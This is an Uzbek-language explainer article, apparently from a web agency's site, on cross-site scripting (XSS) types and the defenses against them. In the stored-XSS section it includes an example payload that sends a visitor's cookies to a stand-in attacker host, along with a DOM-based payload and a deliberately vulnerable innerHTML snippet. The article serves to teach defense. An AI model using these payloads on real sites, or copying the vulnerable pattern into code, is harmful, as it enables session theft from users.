Asosiy kontentga o‘tish
Innovialabs

XSS nima: saytlararo skripting turlari va hujum misollari

Asoslar3 daq

Qisqacha

XSS — begona JavaScript sizning saytingizda foydalanuvchi brauzerida bajariladigan zaiflik. Asosiy himoya — har qanday ma’lumotni chiqarishda kontekstga qarab ekranlash: HTML, atribut, URL yoki skript.

XSS nima

XSS (Cross-Site Scripting, saytlararo skripting) — hujumchi sizning saytingiz orqali foydalanuvchiga o‘zining JavaScript kodini ko‘rsatadigan zaiflik. Brauzer bu kodni siznikidan ajrata olmaydi va uni xuddi shunday huquqlar bilan bajaradi: sahifaga, ma’lumotlarga kirish va foydalanuvchi nomidan amallar.

Sabab deyarli har doim bitta: foydalanuvchidan kelgan ma’lumot HTML’ga ekranlanmasdan tushadi va brauzer uni belgilash yoki kod sifatida qabul qiladi.

XSS ning uch turi

TuriPayload qayerda saqlanadiQurbon uni qanday oladi
Saqlanadigan (stored)Ma’lumotlar bazasidaZararlangan kontentli oddiy sahifani ochadi
Aks ettirilgan (reflected)Havola yoki so‘rovdaTayyorlangan havolaga o‘tadi
DOM-basedFaqat brauzerda qayta ishlanadiSahifaning o‘z JavaScript’i ma’lumotni DOM’ga qo‘yadi

Saqlanadigan XSS

Hujumchi izoh qoldiradi:

<img src="x" onerror="fetch('https://evil.example/c?d='+document.cookie)">

Agar sayt izohni HTML sifatida chiqarsa, kod sahifani ochgan har bir kishida, jumladan administratorda ham bajariladi. Bu eng xavfli tur: hujum hujumchining ishtirokisiz ishlaydi.

Aks ettirilgan XSS

Qidiruv sahifasi so‘rovni chiqaradi: «So‘rov bo‘yicha natijalar: …». Hujumchi qurbonga havola yuboradi:

https://shop.example/search?q=<script>/* zararli kod */</script>

Server parametrni javobga «aks ettiradi» va skript bajariladi. Havola qisqartiruvchi xizmat yoki xatdagi tugma ortiga yashiriladi.

DOM-based XSS

Bu yerda server aybdor emas — klient kodi zaif:

// zaif: manzildagi ma’lumot HTML sifatida qo‘yiladi
document.getElementById("greeting").innerHTML = location.hash.slice(1);

page.html#<img src=x onerror=alert(1)> ko‘rinishidagi havola kodni ishga tushiradi. Xavfli joylar: innerHTML, outerHTML, document.write, eval, satr bilan setTimeout.

Hujumchi nimani o‘g‘irlashi mumkin

Skript saytingiz kontekstida ishlaydi, shuning uchun u:

  • Sessiyani o‘g‘irlaydi, agar cookie HttpOnly bilan belgilanmagan bo‘lsa, yoki localStorage dagi tokenlarni oladi.
  • Foydalanuvchi nomidan harakat qiladi: email va parolni o‘zgartiradi, pul o‘tkazadi, kontent joylaydi.
  • Sahifadagi ma’lumotlarni o‘qiydi: shaxsiy xabarlar, to‘lov ma’lumotlari, hujjatlar.
  • Interfeysni almashtiradi: haqiqiy domenda soxta kirish formasini ko‘rsatadi.
  • Klavishalar bosilishini yozib oladi va o‘z serveriga yuboradi.

Himoya tamoyillari

Kontekstga qarab chiqishni ekranlash

Asosiy qoida: ma’lumotni faqat kiritishda «tozalash» emas, balki chiqarishda ekranlash. Usul ma’lumot qayerga tushishiga bog‘liq:

KontekstNima qilish kerak
HTML ichidagi matn<, >, &, ", ' ni HTML-obyektlarga almashtirish
Atribut qiymatiHar doim qo‘shtirnoqda, ustiga HTML-ekranlash
href/src dagi URLParametrlar uchun encodeURIComponent, faqat http: va https: ga ruxsat
<script> ichidaMa’lumotni to‘g‘ridan-to‘g‘ri qo‘ymaslik; JSON yoki data-atributlar orqali uzatish
CSSUslublarda foydalanuvchi ma’lumotlaridan qochish

Zamonaviy shablonizatorlar va freymvorklar (Jinja2, Blade, React, Angular) matnni standart holatda ekranlaydi. Zaifliklar buni qo‘lda o‘chirib qo‘yganda paydo bo‘ladi.

Qo‘shimcha qatlamlar

  • HTML sanitayzer (masalan, DOMPurify) — agar foydalanuvchiga haqiqatan belgilashga ruxsat berish kerak bo‘lsa.
  • Content Security Policy — inline skriptlarni va begona domenlardan kod yuklashni taqiqlaydi.
  • HttpOnly, Secure, SameSite bayroqli cookie — skript sessiyani o‘qiy olmaydi.
  • Kiritishni validatsiya qilish — foydali, lekin ekranlash o‘rnini bosmaydi.

Ko‘p uchraydigan xatolar

  • «script so‘zini o‘chirish» kabi qora ro‘yxatlar — ularni hodisa atributlari va boshqa teglar orqali oson aylanib o‘tish mumkin.
  • Ma’lumot URL yoki JavaScript’ga tushadigan joyda HTML-ekranlashdan foydalanish.
  • «O‘zimizning» manbalardan kelgan ma’lumotlarga ishonish: admin panel, CRM, tashqi API’lar.

Ko‘p beriladigan savollar

Mumkin. Ma’lumotlar nafaqat formalardan keladi: URL parametrlari, manzil xeshi, sarlavhalar, tashqi API javoblari, import qilingan fayllar.

Bunda yordam beramiz

O‘zingiz shug‘ullanmasdan natija olishni istasangiz — biz har kuni shu bilan shug‘ullanamiz.

Loyihani muhokama qilish

Yana o‘qing

G‘oya yoki vazifangiz bormi? Bizga aytib bering

Ish kuni davomida javob beramiz va yechim taklif qilamiz. Konsultatsiya bepul.